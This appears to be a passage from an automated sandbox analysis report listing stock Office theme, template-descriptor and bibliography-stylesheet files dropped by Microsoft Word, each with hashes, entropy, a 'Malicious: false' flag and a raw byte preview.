SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCD7FF8.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.535303979138867
Encrypted:	false
SSDEEP:	6:Q+sxnxUX3IlVARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnynG6ymD0wbnKNAH/lMz1
MD5:	35AFE8D8724F3E19EB08274906926A0B
SHA1:	435B528AAF746428A01F375226C5A6A04099DF75
SHA-256:	97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35
SHA-512:	ACF4F124207974CFC46A6F4EA028A38D11B5AF40E55809E5B0F6F5DABA7F6FC994D286026FAC19A0B4E2311D5E9B16B8154F8566ED786E5EF7CDBA8128FD62AF
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.i.e.w...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8088.tmp\Parallax.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCD8088.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.51145753448333
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKsWkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6svymD0wbnKNAH/lMz1
MD5:	7956D2B60E2A254A07D46BCA07D0EFF0
SHA1:	AF1AC8CA6FE2F521B2EE2B7ABAB612956A65B0B5
SHA-256:	C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E
SHA-512:	668F5D0EFA2F5168172E746A6C32820E3758793CFA5DB6791DE39CB706EF7123BE641A8134134E579D3E4C77A95A0F9983F90E44C0A1CF6CDE2C4E4C7AF1ECA0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.a.l.l.a.x...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD809A.tmp\Parcel.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD809A.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.516359852766808
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKwRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6qymD0wbnKNAH/lMz1
MD5:	960E28B1E0AB3522A8A8558C02694ECF
SHA1:	8387E9FD5179A8C811CCB5878BAC305E6A166F93
SHA-256:	2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0
SHA-512:	89EA06BA7D18B0B1EA624BBC052F73366522C231BD3B51745B92CF056B445F9D655F9715CBDCD3B2D02596DB4CD189D91E2FE581F2A2AA2F6D814CD3B004950A
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.c.e.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD80AA.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	3.5230842510951934
Encrypted:	false
SSDEEP:	6:fxnxUXJuJaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyZuUw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	F25AC64EC63FA98D9E37782E2E49D6E6
SHA1:	97DD9CFA4A22F5B87F2B53EFA37332A9EF218204
SHA-256:	834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB
SHA-512:	A0387239CDE98BCDE1668B582B046619C3B3505F9440343DAD22B1B7B9E05F3B74F2AE29E591EC37B6570A0C0E5FE571442873594B0684DDCCB4F6A1B5E10B1F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.e.e.e.2.0.0.6.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD80AA.tmp\ieee2006officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Local\Temp\TCD80EC.tmp\Quotable.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Local\Temp\TCD80EC.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5323495192404475
Encrypted:	false
SSDEEP:	6:Q+sxnxUXhduDARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyxdumymD0wbnKNAH/lMz1
MD5:	BD6B5A98CA4E6C5DBA57C5AD167EDD00
SHA1:	CCFF7F635B31D12707DC0AC6D1191AB5C4760107
SHA-256:	F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7
SHA-512:	A178299461015970AF23BA3D10E43FCA5A6FB23262B0DD0C5DDE01D338B4959F222FD2DC2CC5E3815A69FDDCC3B6B4CB8EE6EC0883CE46093C6A59FF2B042BC1
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .Q.u.o.t.a.b.l.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD811C.tmp\Berlin.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD811C.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5270134268591966
Encrypted:	false
SSDEEP:	6:Q+sxnxUXa3Y1kRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyt1mymD0wbnKNAH/lMz1
MD5:	327DA4A5C757C0F1449976BE82653129
SHA1:	CF74ECDF94B4A8FD4C227313C8606FD53B8EEA71
SHA-256:	341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6
SHA-512:	9184C3FB989BB271B4B3CDBFEFC47EA8ABEB12B8904EE89797CC9823F33952BD620C061885A5C11BBC1BD3978C4B32EE806418F3F21DA74F1D2DB9817F6E167E
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.e.r.l.i.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD81F8.tmp\Savon.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Local\Temp\TCD81F8.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5364757859412563
Encrypted:	false
SSDEEP:	6:Q+sxnxUXARkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnywMymD0wbnKNAH/lMz1
MD5:	CD465E8DA15E26569897213CA9F6BC9C
SHA1:	9EA9B5E6C9B7BF72A777A21EC17FD82BC4386D4C
SHA-256:	D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610
SHA-512:	869A42679F96414FE01FE1D79AF7B33A0C9B598B393E57E0E4D94D68A4F2107EC58B63A532702DA96A1F2F20CE72E6E08125B38745CD960DF62FE539646EDD8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.a.v.o.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8278.tmp\Circuit.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD8278.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5286004619027067
Encrypted:	false
SSDEEP:	6:Q+sxnxUXOzXkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6WymD0wbnKNAH/lMz1
MD5:	40FF521ED2BA1B015F17F0B0E5D95068
SHA1:	0F29C084311084B8FDFE67855884D8EB60BDE1A6
SHA-256:	CC3575BA195F0F271FFEBA6F6634BC9A2CF5F3BE448F58DBC002907D7C81CBBB
SHA-512:	9507E6145417AC730C284E58DC6B2063719400B395615C40D7885F78F57D55B251CB9C954D573CB8B6F073E4CEA82C0525AE90DEC68251C76A6F1B03FD9943C0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.u.i.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD82B8.tmp\Gallery.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Local\Temp\TCD82B8.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5301133500353727
Encrypted:	false
SSDEEP:	6:Q+sxnxUXp2pRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyZ2vymD0wbnKNAH/lMz1
MD5:	1C5D58A5ED3B40486BC22B254D17D1DD
SHA1:	69B8BB7B0112B37B9B5F9ADA83D11FBC99FEC80A
SHA-256:	EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055
